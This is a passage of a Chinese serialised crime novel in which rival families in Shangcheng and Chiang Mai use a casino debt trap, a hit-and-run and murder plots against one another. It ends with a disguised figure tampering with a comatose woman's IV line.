发牌荷官是个漂亮的泰国女孩,她穿着紧身的金色旗袍,面带职业微笑:“先生,你还要继续吗?”
司徒明点了支雪茄,吐出一口烟圈:“当然,今天我手气好,不赢够一个亿我不回家。”
话音刚落,包厢的门开了。
一个穿黑色西装的男人走进来,在司徒明耳边低语了几句。
司徒明的脸色变了变,然后点点头:“让她进来。”
几分钟后,龙小玉走进了包厢。
她今天穿了件酒红色的丝绸旗袍,开衩很高,露出修长笔直的双腿,长发盘成复古的发髻。
包厢里的其他赌客都看向她,有人认出了她,窃窃私语。
“玉姐来了。”
“她就是赌场的老板?这么年轻?”
“听说手段很厉害,黑白两道都吃得开。”
龙小玉没理会那些目光,径直走到司徒明面前,微微一笑:“司徒先生今晚手气真好,我是龙小玉,这家赌场的老板。”
司徒明打量着她,眼中闪过一丝惊艳,他站起身,很绅士地伸出手问候道:“龙小姐比传闻中更漂亮,我是司徒明,叫我阿明就好。”
两只手握在一起,龙小玉的手很软,但很有力,司徒明的手心有些出汗。
“听说司徒先生是从澳洲来的?”龙小玉在荷官的位置坐下,示意荷官退下,亲自发牌。
“在澳洲留学,刚毕业。”司徒明盯着她发牌的手,那手指纤细修长,让他心猿意马,他笑着夸奖到:“龙小姐的中文说得真好。”
“我父亲是华人。”龙小玉发完牌,做了个请的手势,“请下注。”
这一局,司徒明输了,一百万筹码推到龙小玉面前。
“手气断了。”他苦笑。
“赌场就是这样,有输有赢。”龙小玉收起筹码,眼神意味深长,道:“不过我看司徒先生今晚玩得差不多了。要不要去后院喝杯茶?我收藏了一些好茶。”
司徒明眼睛一亮:“龙小姐也喜欢茶?”
“喜欢。”龙小玉站起身,道:“请。”
两人一前一后离开包厢,留下其他赌客面面相觑。
……
赌场后院是另一番天地。
这里很安静,和前面的喧嚣形成鲜明对比。一个小花园,种着芭蕉和兰花,中间有个凉亭,亭子里摆着茶具。雨后的夜晚,空气中弥漫着花香和泥土的清新气息。
龙小玉亲自泡茶,动作娴熟优雅。
“这是武夷山的大红袍,朋友送的。”她将一杯茶推到司徒明面前,道:“尝尝。”
司徒明端起茶杯,闻了闻茶香,抿了一口:“龙小姐果然懂茶。”
“略知一二。”龙小玉也端起茶杯,道:“我母亲是泰国人,但父亲从小就告诉我,无论走到哪里,都不能忘了根。”
“令尊是?”
“已经过世了。”龙小玉的语气很平静,道:“三年前,一场大火。”
司徒明心里一动,三年前,大火?
他想起父亲司徒雄偶尔会提到的那场“意外”,心里隐隐有些不安。
“抱歉。”
“没关系。”龙小玉摇摇头,道:“生老病死,人之常情,倒是司徒先生,年纪轻轻,赌术就这么精湛,是家学渊源?”
“家父管得严,不怎么让我赌。”司徒明笑了道:“这些都是在澳洲学的,那边赌场合法,同学间经常玩,玩着玩着,就练出来了。”
“那令尊是做什么的?”
“做点小生意。”司徒明含糊其辞。他不想暴露自己是司徒雄的儿子,至少在摸清这个女人的底细之前。
两人聊着天,气氛逐渐融洽。龙小玉喜欢古诗词,她甚至能背出整首《长恨歌》,司徒明在澳洲主修文学,两人从唐诗聊到宋词,从《红楼梦》聊到《百年孤独》。
不知不觉,已经是深夜。
“时间不早了。”龙小玉看了看手表,道:“司徒先生住在哪里?我让司机送你。”
“不用了,我叫车就行。”司徒明站起身,道:“今晚很高兴认识龙小姐,改天再请教茶道。”
“随时欢迎。”龙小玉也站起来,送他到门口,道:“对了,司徒先生如果还想玩,随时来找我,我可以给你开个特别账户,额度高一些,利息低一些。”
司徒明心动了,他在澳洲欠了不少赌债,正需要这样的渠道。
“那就麻烦龙小姐了。”
“不麻烦。”龙小玉嫣然一笑,道:“朋友嘛,应该的。”
看着司徒明离开的背影,龙小玉脸上的笑容慢慢消失。她拿出手机,拨通一个号码。
“他上钩了。”她用泰语说道:“下一步按计划进行。”
同一时间,清迈郊区,一栋隐藏在树林里的泰式别墅。
柳媚笙坐在客厅的沙发上,看着窗外的夜色。她的左肩还缠着绷带,脸色苍白,但眼神很冷,冷得像刀。
一个五十多岁的男人走进来,穿着花衬衫和短裤,脚上趿拉着人字拖,看起来像个普通的泰国大叔。但他一出现,客厅里的几个保镖立刻挺直了背脊,恭敬地低头。
“达叔。”柳媚笙站起身。
达叔摆摆手,示意她坐下,自己在对面坐下,点了支雪茄。
“几年不见,你瘦了。”他上下打量柳媚笙,道:“也憔悴了,阿战的事,我听说了,节哀。”
“谢谢达叔。”柳媚笙的声音很平静,道:“我这次来,是想请您帮忙。”
“帮你对付司徒家?”达叔吐出一口烟道:“媚笙,你知道的,我一向不喜欢插手别人的恩怨,太复杂。”
“不是白帮。”柳媚笙从包里拿出一个文件袋,推到茶几上,道:“这是我在上城的三处产业,还有‘迷醉’酒吧的股份,加起来,市值大概一千多万美金,只要您帮我,这些都是您的。”
达叔看都没看文件袋:“钱我有的是。媚笙,你知道我想要什么。”
柳媚笙的手微微颤抖了一下。
“达叔,我……”
“当年我向你求婚,你拒绝了。”达叔缓缓道:“你当时说你心里有人,是阿战,我说我可以等,等到你忘了他,现在阿战**,这都多少年了,你还没忘吗?”
客厅里很安静,只有雪茄燃烧的轻微声响。
良久,柳媚笙开口道:“达叔,我对您只有尊敬和感激,感情的事,我恐怕勉强不来。”
“我知道。”达叔笑了,笑容有些苦涩,道:“所以我没逼你,但媚笙,你要我帮你对付司徒家,对付龙三爷,这不是小事。司徒雄在国内势力很大,龙三爷在东南亚也不弱。我要动用很多人,冒很大风险。没有足够的理由,我很难说服手下兄弟。”
他顿了顿,看着柳媚笙的眼睛道:“给我一个理由。一个足够强的理由。”
柳媚笙深吸一口气:“司徒雄派人杀我,在医院下毒,我差点**。龙三爷**我,用枪指着我的头。达叔,我在泰国没有别人可以求助,如果您不帮我,我可能活不到下个月。”
她的声
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音很平静,但达叔听出了其中的绝望和决绝。
“还有。”柳媚笙继续说,“司徒雄的儿子司徒明,现在就在清迈。在龙小玉的赌场里。他们想设计他,制造冲突,挑起司徒家和龙家的战争。如果您帮我,我们可以从中得利。”
达叔沉默地抽着雪茄。烟雾缭绕中,他的表情看不真切。
“你想怎么做?”
“司徒明好赌,欠了很多债。”柳媚笙说:“龙小玉给了他高额信贷,想让他欠下巨债,然后逼司徒家还钱。如果这时候,有人给司徒明提供更多筹码,让他输得更多,欠得更多,冲突会更快爆发。”
“然后呢?”
“然后,等司徒家和龙家打起来,我们可以接收他们在清迈的产业。”柳媚笙看着达叔,“我知道您在清迈一直想扩张,但龙小玉压着您。这是个机会。”
达叔掐灭雪茄,站起身,走到窗前。
窗外是清迈的夜色,远处是素贴山的轮廓。
“媚笙。”他背对着她说,“你变了很多。以前的你,虽然也在道上混,但手上不沾血。现在的你让我觉得陌生。”
“因为以前有阿战保护我。”柳媚笙的声音有些哽咽,“现在他不在了,我只能自己保护自己。达叔,如果您不愿意帮我,我不勉强。我今晚就离开泰国,不连累您。”
达叔转过身,看着她,她的眼睛很亮,像含着一层水光,但眼神很坚定。
这个眼神,和三年前拒绝他求婚时一模一样——柔软,但倔强。
“我可以帮你,我做这些不是为了产业,不是为了钱,是为了你。”
他走回沙发边,重新坐下道:“司徒明那边,我会安排人接触,给他提供无限额信贷,让他尽情地赌,尽情地输。等债台高筑,龙小玉会逼他还钱,他会向家里求救。到时候,司徒雄和龙三爷的矛盾就会公开化。”
“谢谢达叔。”
“别急着谢。”达叔看着她道:“我有条件。”
“您说。”
“第一,这件事结束后,你要在泰国住一年,不是软禁,是保护。司徒家和龙家的残余势力不会放过你,在泰国,我能保你安全。”
柳媚笙犹豫了一下,点头:“好。”
“第二,这一年里,每周陪我吃一次饭。就我们两个人,像朋友一样聊聊天,这个要求不过分吧?”
这个要求让柳媚笙有些意外,但她还是点头:“好。”
“第三,如果一年后,你还时候不接受我,我送你回国,绝不纠缠。但如果你愿意给我一个机会,我要你认真考虑。”
柳媚笙沉默了。
良久,她抬起头:“达叔,我不能承诺什么,但我会认真考虑。”
达叔笑了,那笑容里有释然,也有苦涩。
“这就够了。”他站起身,道:“房间给你准备好了,在二楼。好好休息,伤养好了再行动。其他的事,我来安排。”
柳媚笙也站起身,深深鞠躬:“谢谢您。”
达叔摆摆手,转身离开,走到门口时,他停住脚步,没有回头。
“媚笙,有句话我一直想告诉你,阿战配不上你。他太冲动,太理想主义,所以他**。在这个世界上,要想活下去,活得久,就要学会算计,学会狠心,活着最重要。**,就什么都没了。”
说完,他推门出去了。
柳媚笙站在原地,久久不动。
她知道自己是利用达叔对自己的喜欢来帮自己做事,可只有赢了,自己才能活下去!
她拿出手机,开机。
为了防止被司徒雄的人定位跟踪,她在清迈换了新手机号。
她编辑了一条消息:“陈凡,清迈这边已安排妥当,达叔答应帮忙,司徒明和龙小玉的冲突会提前爆发,你那边准备接收。”
251被做局了!
泰国,清迈。
龙小玉赌场的二楼VIP包厢,这里热闹的不能在热闹。
司徒明已经在这里赌了整整十二个小时,他面前的筹码堆成了小山,粗略估计超过三千万泰铢,折合人民币约六百万,但他赢的远不止这些,还有达叔手下提供的“无限额信贷”账户,账面数字已经滚到了一个天文数字。
司徒明眼睛布满了血丝,他扯开衬衫领口,头发凌乱无比,牌桌上散落着空酒瓶和烟蒂,同桌的赌客换了好几拨,此刻只剩下两个人,一个穿花衬衫的泰国本地富豪,还有一个戴金丝眼镜的新加坡商人。
发牌的荷官还是那个漂亮女孩,但她的手在微微发抖。不是紧张,是疲惫。
“发牌。”司徒明嘶哑着声音说,又灌了一大口威士忌。
司徒明现在正在兴头上,任谁来都挡不住他要大赚一笔的决心,他从小就在国外长大,父亲司徒雄对他的关心极少,他总是想要证明自己,那么**,其实对他来说,就是一种捷径,既能放松,又能赢钱。
此刻,龙小玉正坐在包厢角落的沙发上,静静看着这一切。她手里端着一杯红酒,轻轻摇晃,眼神平静无波,像在看一场与己无关的戏。
牌发下来了,司徒明拿到一对K,底牌是一张A。他压下五百万筹码。
泰国富豪看见这一幕后,他果断弃牌,新加坡商人跟了。
第四张牌,司徒明拿到一张K,三条。新加坡商人拿到一张10,牌面是10、J、Q,顺子听牌。
“一千万。”司徒明推筹码的手有些抖。
新加坡商人犹豫了很久,最终还是跟了。
最后一张牌,司徒明拿到一张2,无帮助。新加坡商人拿到一张9,牌面是9、10、J、Q,依然顺子听牌。
司徒明看着对方的牌面,大脑飞速计算,对方可能是顺子听牌,也可能是两对,或者干脆是诈唬。他自己是三条K,赢面很大。
“全下!”他将面前所有筹码推了出去,连带达叔账户里的信用额度,总计八千万泰铢。
疯了?!
新加坡商人的脸色骤变!
他盯着司徒明的眼睛,试图从中看出虚实,但司徒明的眼睛充满了燥热的红血丝,除此之外,什么都看不出来!
作为一个老赌徒,司徒明这点心理素质还是有的,如果让对手看出破绽,他还混个屁的赌场。
时间一分一秒过去,包厢里却安静的可怕,只有筹码碰撞的轻微声响。
最终,新加坡商人叹了口气,弃牌了。
“操!”司徒明猛地站起来,双手高举,像赢得世界杯的球员,欢呼道:“老子赢了!”
荷官将筹码推到他面前,那一堆花花绿绿的圆形塑料片,好像如同胜利者的奖牌一样。
龙小玉放下酒杯,站起身,走到赌桌边。
“恭喜司徒先生。”她的声音很平静:“你今晚的运气真是好得惊人。”
“这还不是托龙小姐的福。”司徒明咧嘴笑,露出一口被整洁的牙齿,道:“要不是你开的特别账户,我哪来这么多本金。”
“客气了。”龙小玉微微一笑道:“不过司徒先生,有件事我想提醒你,你账户里的欠款,已经超过一亿泰铢了。按照约定,如果三天内不能还清,利息会翻倍。”
司徒明的笑容僵在脸上:“一亿?不是八千万吗?”
“本金八千万,利息两千万。”龙小玉从随从手里接过一个平板电脑,调出账目,只给他说道:“你自己看。”
屏幕上显示着详细的借款记录,时间,金额,利率,滚存利息。最后一行,红字标出:总计欠款1.02亿泰铢。
司徒明的酒醒了一半惊呼道:“这利息是不是太高了点?”
“白纸黑字,司徒先生签过字的。”龙小玉将平板递给他,道:“赌场的规矩,你应该懂。”
司徒明接过平板,手指颤抖地翻看着。他确实签过字,但当时喝多了,根本没仔细看条款,而且他以为凭自己的赌术,赢钱还债轻而易举,谁知道……
谁知道今晚赢得这么顺。
太顺了。
顺得有些不正常。
他脑海中忽然闪过一个念头,那就是,自己被做局了!
从进赌场开始,从龙小玉主动接触他开始,从达叔的人提供无限额信贷开始,这一切都是个局,一个要他欠下巨债,要他不得不向司徒家,或者向父亲借钱的局!
“妈的!你们算计我。”司徒明抬起头,眼睛血红,此时的他不再是那个文质彬彬的贵公子,而是一个彻头彻尾的疯子!<
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br>“赌场开门做生意,你情我愿的事,怎么能叫算计?司徒先生赢了钱的时候,怎么不说算计?”
“我要见达叔。”司徒明咬牙道,“信贷是他的人提供的,我要和他谈。”
“达叔很忙。”龙小玉说道:“而且,债主是我,不是达叔,他只是一个中间人。”
她走到司徒明面前,看着他的眼睛道:“司徒先生,一亿泰铢对你父亲来说,不算什么,打个电话,钱到账,我们两清。你还可以继续玩,继续赢,何必要闹得不愉快呢?”
司徒明看着她,这个女人此刻就是蛇蝎!
她接近自己,都是为了算计,都是为了利益!
妈的!没想到竟然栽到了一个女人的手上!
司徒明越想越气,他哪里吃过这样的亏!
他忽然伸手,想抓住她的手腕,但龙小玉的动作更快,后退一步,避开了。
几乎同时,包厢的门开了,四个穿黑西装的保镖走了进来,挡在龙小玉身前。
“司徒先生,请冷静。”龙小玉的声音依然平静,道:“暴力解决不了问题,给你父亲打电话,或者我帮你打。”
司徒明的手僵在半空。他看着那四个保镖,每个人腰间都鼓鼓的,显然带着武器,他知道自己现在处境非常危险,如果不按照龙小玉说的话去做,自己很有可能被撕票!
妈的!没想到自己玩鹰,竟然被捉了眼睛!
他慢慢放下手,笑了,笑声很苦涩。
“好,我打。”
他拿出手机,拨通了司徒雄的号码。响了很久,才接通。
“爸,”司徒明的声音干涩,“我在泰国,出了点事……”
……
上城,司徒家老宅。
司徒雄放下手机,脸色铁青得像要滴出水来。书房里一片死寂,司徒飞站在一旁,大气不敢出。
“一亿泰铢?!”司徒雄的声音嘶哑,道:“这个废物,被人做局了都不知道!”
“父亲,现在怎么办?”司徒飞小心翼翼地问,“要打钱吗?”
“打钱?”司徒雄冷笑,“打过去,就等于告诉所有人,我司徒雄的儿子是个废物,在泰国被人当猪宰。不打,龙三爷那边?”
他顿了顿,眼中闪过一丝狠厉:“查清楚了?真是龙小玉做的局?”
252意外来电!
“**不离十。”司徒飞说:“我们在清迈的人传回消息,龙小玉的赌场这几天来了个新客人,叫达叔。是当地的地头蛇,和龙小玉走得很近,司徒明的信贷,就是通过达叔的人提供的。”
“达叔?”司徒雄重复着这个名字,眼中杀意渐浓,“一个小小的地头蛇,也敢掺和进来。看来龙三爷是铁了心要跟我撕破脸了。”
“父亲,那我们?”
“钱可以打,但不是给龙小玉。”司徒雄站起身,走到窗前,“给达叔,告诉他,钱我出了,但我要他办一件事。”
“什么事?”
“龙小玉的命。”司徒雄转过身,眼神冰冷道:“他不是地头蛇吗?在清迈杀个人,对他来说不难吧?事成之后,我再给他一亿。”
司徒飞倒吸一口凉气:“父亲,这会不会太?”
“太什么?太狠?”司徒雄笑了,那笑容很残忍!
“龙三爷动我儿子,我就动他女儿,这很公平。”
他走回书桌前,拿起另一部手机,拨通了一个号码。
“达叔吗?我是司徒雄...”
……
清迈,达叔的别墅。
客厅里烟雾缭绕,达叔坐在沙发上,一手拿着雪茄,一手拿着手机,柳媚笙坐在他对面,静静听着。
他和司徒雄的电话打了十分钟,挂断后,达叔沉默了很久。
“司徒雄要杀龙小玉。”他最终说道:“出价两亿泰铢,一亿还债,一亿买命。”
柳媚笙的手微微一颤:“您答应了?”
“还没。”达叔看着她道:“我在想,这笔生意值不值得做。”
“司徒雄不可信。”柳媚笙说:“他今天可以出钱让你杀龙小玉,明天就可以出钱让别人杀你,而且,杀了龙小玉,龙三爷会疯狂报复。到时候您在清迈的基业……”
“这些我都知道。”达叔打断她道:“但两亿不是小数目,而且,就算我不接,司徒雄也会找别人。到时候,钱别人赚了,仇还是记在我头上,毕竟司徒明是在我的地盘上被做局的。”
他顿了顿,吐出一口烟:“媚笙,你说我该怎么做?”
柳媚笙沉默了,这是一个两难的选择,接,得罪龙三爷;不接,得罪司徒雄。无论选哪边,都会卷入这场漩涡。
“也许……”她缓缓说道:“我们可以选第三条路。”
“说说看。”达叔抽了一口烟。
“你可以答应司徒雄,但不动手,我们拖时间,等司徒家和龙家打起来,到时候,无论谁赢谁输,都没精力追究这件事了,而且我们可以利用这件事,从两边都拿到好处。”
达叔笑了,那笑容很玩味:“媚笙,你越来越像个生意人了,好,就按你说的办,不过,我要你负责和司徒雄周旋。”
“我?”
“对。”达叔点头道:“你是中国人,了解他们的思维方式。而且,你现在是我的合伙人。”
他说“合伙人”三个字时,语气有些微妙。
柳媚笙犹豫了一下,最终还是点头:“好。”
……
上城。
我还在办公室加班,叶倾城推门进来,脸色很不好看。
“泰国那边有消息了。”她说道:“司徒明欠了一亿泰铢,司徒雄答应还钱,但要求达叔杀龙小玉,达叔答应了,但柳媚笙建议他拖延时间。”
我点点头,这些都在预料之中。
“龙三爷那边呢?”
“还不知道。”叶倾城说:“但以他的情报网,应该很快就会收到消息,到时候,他一定会以为是司徒雄要杀他女儿,仇恨会更深。”
“还不够。”我说,“我们要加一把火。”
“怎么加?”
“安排几个人,去袭击龙小玉,最好是做成司徒雄的手笔,逼着龙三爷先开打,龙小玉是他唯一的孩子,龙三爷不会手下留情的!”
“好,那这件事,我来安排?”叶倾城询问我的意思。
“嗯。”我点了点头道:“你现在就和柳媚笙商量一下,还有,提醒她,达叔这个人也不能全信。”
“明白。”
清晨六点,清迈的街道还笼罩在薄雾中。
龙小玉从赌场后门走出来时,天刚蒙蒙亮。
她一夜未眠,脸色有些苍白,但依然妆容精致,穿着昨晚那件酒红色旗袍,她身后跟着两个保镖,他们保持着三步的距离,他们都很警惕,手按在腰间,那里鼓鼓的,显然带着武器。
前方二十米处就是停车场,她的车停在那里,一辆黑色的奔驰S级,防弹玻璃,加固车身。
龙小玉揉了揉太阳穴,昨晚的酒劲还没完全过去。
司徒明的事让她很烦躁,那小子欠了一亿泰铢,父亲司徒雄虽然答应还钱,但态度强硬,还提出了过分的要求,达叔那边又模棱两可,显然在等两边出更高的价。
她拿出车钥匙,按了解锁键,车灯闪了两下。
就在这时,一辆破旧的皮卡车从巷口冲了进来,发动机发出刺耳的轰鸣,车速极快,轮胎摩擦地面发出尖锐的声音,直直地朝着龙小玉撞过来!
“小姐小心!”一个保镖大喊,扑过来想推开她。
尽管保镖的速度很快,可他终究太晚了!
皮卡车没有减速,反而加速!
皮卡的车头狠狠撞在龙小玉身上,将她整个人撞飞出去,像断线的风筝一样在空中划出一道弧线,然后重重摔在三米外的水泥地上。
“砰!”
沉闷的撞击声在巷子里回荡。
皮卡车没有停,倒车,
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调头,扬长而去。整个过程不到十秒钟。
两个保镖惊呆了,愣了两秒才反应过来。一个冲过去看龙小玉,另一个掏出枪追出巷口,但皮卡车已经消失在晨雾中。
“小姐!小姐!”保镖跪在龙小玉身边,声音颤抖。
龙小玉躺在地上,一动不动。酒红色的旗袍被血染成了深褐色,左腿以一个不自然的角度扭曲着,显然骨折了。脸上都是血,看不清五官,但胸口还有微弱的起伏。
“叫救护车!快!”
……
上城,我正在看泰国那边发过来的最新报告,达叔答应拖延时间,司徒雄同意先支付五千万泰铢作为定金,柳媚笙负责对接……
我的手机突然响了,是叶倾城打来的。
“陈凡!”她的声音带着罕见的惊慌道:“出事了,龙小玉被车撞了,重伤,正在医院抢救。”
我猛地站起来:“什么时候的事?”
“半小时前,在清迈赌场后门,肇事车辆逃逸,现场没留下线索。”叶倾城顿了顿,道:“龙三爷已经知道消息了,正在从曼谷赶往清迈,据说他暴怒了,扬言要杀了司徒明偿命,关键是,我们派去的人,还没到清迈啊!”
我的手心开始冒汗!
这就说明袭击龙小玉的另有他人!
“陈凡,按照计划,我们要等司徒明和龙小玉冲突激化后再行动,而且我们的人一直在监控,没接到任何指令。”
那就怪了。
不是我们,会是谁?
司徒雄?不可能,他刚答应付钱给达叔,不可能这时候动龙小玉。除非他发现这是个陷阱,想先下手为强。
“查一下司徒雄那边的动向。”我提醒道:“另外,联系我们在清迈的人,保护好柳媚笙,龙三爷现在情绪失控,可能会迁怒所有人。”
“已经在做了。”叶倾城说,“但陈凡,我觉得事情不对劲,龙小玉被撞的时机太巧了,正好在我们计划推进到关键时刻,而且肇事者手法专业,撞了就跑,明显是职业**。”
我心头一沉,那就说明有人在背后操纵,有人知道我们的计划,并且在加速它。
会是谁?
就在这时,我的另一部手机响了,是那个只有极少数人知道的加密号码。
我示意叶倾城稍等,拿起那部手机。屏幕上显示的是一串乱码,没有来电显示。
接通,我没说话。
电话那头传来一个年轻男人的笑声,轻快,甚至有些愉悦。
“陈凡,早上好,清迈的新闻,听说了吗?”
我的心跳漏了一拍,这个声音很陌生,但又有种奇怪的熟悉感。
司徒鸣!
司徒家的前家主!
他不是失踪了吗!怎么会突然给我打电话!
253龙三爷的威胁!
“司徒鸣,你在哪!”我立刻警觉起来!
司徒鸣可是商界的上城首富!只不过他在我和秦昊斗法的时候,忽然失踪,连带这他的儿子司徒宇都跟着一起失踪!
就是因为他们父子不见了,司徒晴才被赶出了司徒家族!
“陈凡,惊喜么?呵呵!”
“你什么意思?!”
“我帮你撞了龙小玉,激怒龙三爷。接下来,我还会帮你做另一件事,杀了司徒明,栽赃给司徒雄。”
我的血液瞬间冰冷。
“司徒鸣,你疯了,那是你亲弟弟!”我在电话里质问。
“呵呵……”司徒鸣冷笑道:“那不是我弟弟,我不认!”
简简单单一句,我不认三个字,就能收掉一个人的性命。
“你为什么要这么做?你到底在哪?”我直接说道:“司徒晴以为你们**!”
听到我说司徒晴,司徒鸣在电话那口沉默,叹了一口气道:“唉……,这就是晴儿的命,没有这场劫难,她也不会成长,她也不会成为司徒家的家主。”
“司徒鸣,你是故意的?你的失踪,是你自导自演的?”
我现在好想摸清了头绪,这一切,只能是司徒鸣的计划!
“你不需要知道太多,你只要知道,司徒家该洗牌就行了。”
“所以你撞了龙小玉,想挑起龙三爷和司徒家的战争?”
“聪明。”司徒鸣说,“但还不够。龙小玉只是重伤,还没死。龙三爷虽然愤怒,但还不够疯狂。所以下一步,我要杀了司徒明。而且,要让所有人都以为,是司徒雄派人杀的,因为他儿子欠了巨债,丢了他的脸,他恼羞成怒,**灭口。”
这个计划...太毒了。
如果司徒明真的**,而且证据指向司徒雄,龙三爷会疯狂报复,司徒家会内部**,到时候,不用我动手,司徒家自己就会土崩瓦解。
“你为什么要告诉我这些?”我问。
“因为你需要知道,你真正的盟友是谁。”司徒鸣说,“陈凡,我们目标一致,扳倒司徒家,我可以帮你做那些脏活,那些你不能亲自做的事。而你,只需要在关键时刻,推一把。”
“我凭什么相信你?”
“你可以不信。”司徒鸣无所谓地说,“但想想看,龙小玉被撞,最大的受益者是谁?是你。司徒明如果**,最大的受益者是谁?还是你。而我,什么都不要,只要司徒雄痛苦,这样的合作,你不觉得很划算吗?”
他说得对,从利益角度看,这确实是个划算的交易。
“如果被发现,你会把我拖下水。”
“放心,我做事很干净。”司徒鸣说道:“撞龙小玉的那辆车,已经沉进湄南河了。司机是缅甸的亡命徒,做完这单就回国了,他们找不到的,杀司徒明,我也会用类似的手法。而且...”
他顿了顿,声音里带着一丝玩味:“就算真的暴露了,我也不会供出你。因为我们是同一条船上的人,船翻了,谁都活不了。”
电话挂断了。
我握着手机,站在窗前,久久不动。
叶倾城在电话那头问:“陈凡?怎么了?谁的电话?”
“没事。”我强迫自己冷静,“倾城,计划有变。从现在起,所有针对司徒明的行动暂停。另外,查一个人,司徒鸣,你定位我刚才的电话,我要知道他的位置!”
“上城的首富?!他不是失踪了吗?都好几个月了!”叶倾城惊呼道。
“刚才就是他给我的电话,这个人很危险,他撞了龙小玉,接下来还要杀司徒明,而且他想和我合作。”
电话那头沉默了很久。
“陈凡,这是个陷阱。”叶倾城最终说,“如果司徒鸣真的存在,如果真的是他撞了龙小玉,那他就是一个不受控制的疯子,和疯子合作,太危险了。”
“我知道。”
“那我们要怎么做?”
“两手准备。”我说道:“一方面,配合司徒鸣的计划,但要暗中监控他,掌握他的把柄,另一方面,加速我们的布局,准备提前收网。”
“明白了。”叶倾城说道:“我立刻去安排。”
挂断电话,我又站了很久,司徒鸣,他的再一次出现,让我感受到了意外和震惊!
……
清迈,医院。
手术室外的走廊里挤满了人,龙三爷的人,达叔的人,还有警察,气氛紧张得像要**。
龙三爷坐在长椅上,背脊挺直,双手拄着拐杖。
他今天穿了身黑色的唐装,头发梳得一丝不苟,但脸色铁青,眼中燃烧着冰冷的火焰。
他已经在这里坐了三个小时,一动不动,像一尊石像。
手术室的门开了,医生走出来,摘下口罩,脸色凝重。
“
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龙先生,龙小姐的情况很复杂。左腿粉碎性骨折,肋骨断了三根,其中一根刺穿了肺,最严重的是头部撞击,颅内出血,虽然手术清除了血块,但能不能醒过来要看天意。”
龙三爷的手猛地收紧,拐杖的龙头被他捏得咯吱作响。
“谁干的?”他的声音嘶哑,像砂纸摩擦。
“还在调查。”旁边一个手下小心翼翼地说,“肇事车辆是偷来的,已经找到了,沉在湄南河里,司机没找到,可能是职业**。”
“司徒明在哪?”龙三爷问。
“在达叔的别墅里,他吓坏了,躲在里面不敢出来。”
龙三爷缓缓站起身,他虽然已经六十多岁,但这一刻,他身上的杀气让走廊里的所有人都感到窒息。
“带我去。”
“龙爷,三思。”达叔从人群中走出来,挡在他面前,“现在警方在调查,您如果这时候动司徒明,会给警察留下把柄。”
龙三爷盯着他,眼神像刀:“达叔,我女儿躺在里面,可能再也醒不过来了,你让我三思?”
“我不是那个意思。”达叔压低声音,道:“但您想想,司徒明只是个纨绔子弟,他没这个胆量,也没这个能力策划这种事。背后肯定有人指使。”
“司徒雄。”
“对。”达叔点头道:“所以您要对付的,不是司徒明,是司徒雄,但司徒雄在国内,您鞭长莫及,不如用司徒明做筹码,逼司徒雄现身。”
龙三爷沉默了。他在思考。
良久,他开口:“达叔,我要你帮我做一件事。”
“您说。”
“把司徒明‘请’到我那里去。”龙三爷一字一句地说,道:“我要亲自问他,是谁指使的。如果他配合,我可以留他一条命,如果不配合,那就别怪我……”
他没说完,但意思已经很明白了!
达叔犹豫了一下,最终还是点头:“好,我来安排。”
龙三爷转身,走向电梯。
走到门口时,他停住脚步,没有回头。
“达叔,我知道你和这件事脱不了关系,司徒明在你赌场欠的债,你提供给他的信贷,这些我都知道。但我现在不追究,因为我还需要你,但如果让我发现,你骗了我的话。”
他顿了顿,声音冰冷:“你会后悔来到这个世上。”
电梯门关上,龙三爷离开了。
254龙三爷的复仇!
达叔站在走廊里,脸色阴沉。旁边的手下走过来,小声问:“老板,怎么办?”
“按他说的做。”达叔说,“把司徒明‘请’过去。但要做得干净,不能留下痕迹。”
“那柳小姐那边怎么办?”
“先瞒着她。”达叔说道:“她现在和司徒雄的人对接,不能让她知道太多。”
手下点点头,转身去办了。
达叔走到窗边,这场游戏,已经失控了。
……
上城。
秦悦给我泡了杯茶,脸上带着担忧道:“爷爷刚才来电话,说婚礼的事要推迟,他说现在局势太乱,不是办婚礼的时候。”
我点点头:“他说得对。”
秦悦在我身边坐下,握住我的手:“陈凡,我有点害怕。泰国那边的事,我都听说了。龙小玉重伤,龙三爷暴怒,这些都在你的计划中吗?”
“不是。”我诚实地说,“至少,龙小玉被撞不是我做的,有.在背后加速这件事。”
“谁?”
“司徒鸣。”
秦悦的瞳孔收缩:“他不是和司徒宇一起消失了吗!怎么又出现了?!”
“我也是刚知道。”我苦笑,道:“这个圈子,永远有意想不到的秘密。”
就在这时候,我的手机又一次想起来了,还是那个加密号码。
司徒鸣。
我接通,没说话。
“陈凡,告诉你一个好消息,龙三爷派人‘请’走了司徒明。现在,他应该正在审问,你说,司徒明会招吗?会把他父亲供出来吗?”
“你想要什么?”我直接问。
“想要你配合我演一出戏。”司徒鸣说道:“明天,我会放出消息,说司徒雄为了掩盖儿子的丑闻,派人杀龙小玉灭口,到时候,龙三爷会疯狂报复,而你要做的,就是在司徒家最虚弱的时候,给予致命一击。”
“然后呢?”
“然后?”司徒鸣笑了,“然后我就消失了,永远消失,你得到司徒家的产业,我得到复仇的快感,双赢。”
凌晨四点,清迈市立医院重症监护室。
龙小玉躺在病床上,身上插满了管子,呼吸机,心电监护,静脉输液。
她的脸被纱布包着,只露出一双紧闭的眼睛。左腿打了石膏,高高吊起。监测仪发出规律的滴滴声,屏幕上,心跳的波形微弱但稳定。
从被送进来到现在,她已经昏迷了十二个小时。
病房外站着四个保镖,每个人都全副武装,眼睛通红,显然一夜没睡,在走廊尽头,还有六个龙三爷的人,把守着通往ICU的唯一通道。
整个楼层都被封锁了,除了医护人员,任何人不得进出。
主治医生查完房,走出病房,对保镖头目点点头:“情况稳定了,颅内出血止住了,肺部的伤也处理好了。接下来就是观察,如果二十四小时内能醒过来,就脱离危险了。”
“谢谢医生。”
医生离开后,保镖头目拿出手机,准备给龙三爷汇报。就在这时,走廊尽头的消防通道门开了。
一个穿白大褂、戴口罩的医生推着治疗车走出来,车上放着药品和器械。他低着头,脚步很快,直奔ICU病房。
“站住。”保镖头目拦住他,“干什么的?”
“给病人换药。”医生的声音有紧张道:“主治医生吩咐的,要调整抗生素。”
保镖头目打量着他。白大褂很合身,胸牌上写着“清迈市立医院住院医师”,照片和本人对得上,在治疗车上的药品也确实都是ICU常用的。
他让开了路。
医生推车进入病房,关上门。
病房里很安静,只有监测仪的滴滴声,医生走到床边,看着昏迷的龙小玉,眼神复杂。他从治疗车里拿出一支注射器,抽取药液——瓶子上标签写着“生理盐水”。
针头刺入输液管,药液缓缓推入。
做完这一切,医生收起注射器,推车离开病房。整个过程不到三分钟。
“换好了。”他对保镖头目说道:“病人需要安静,不要打扰。”
“知道了。”
医生推着车离开,消失在消防通道门后。
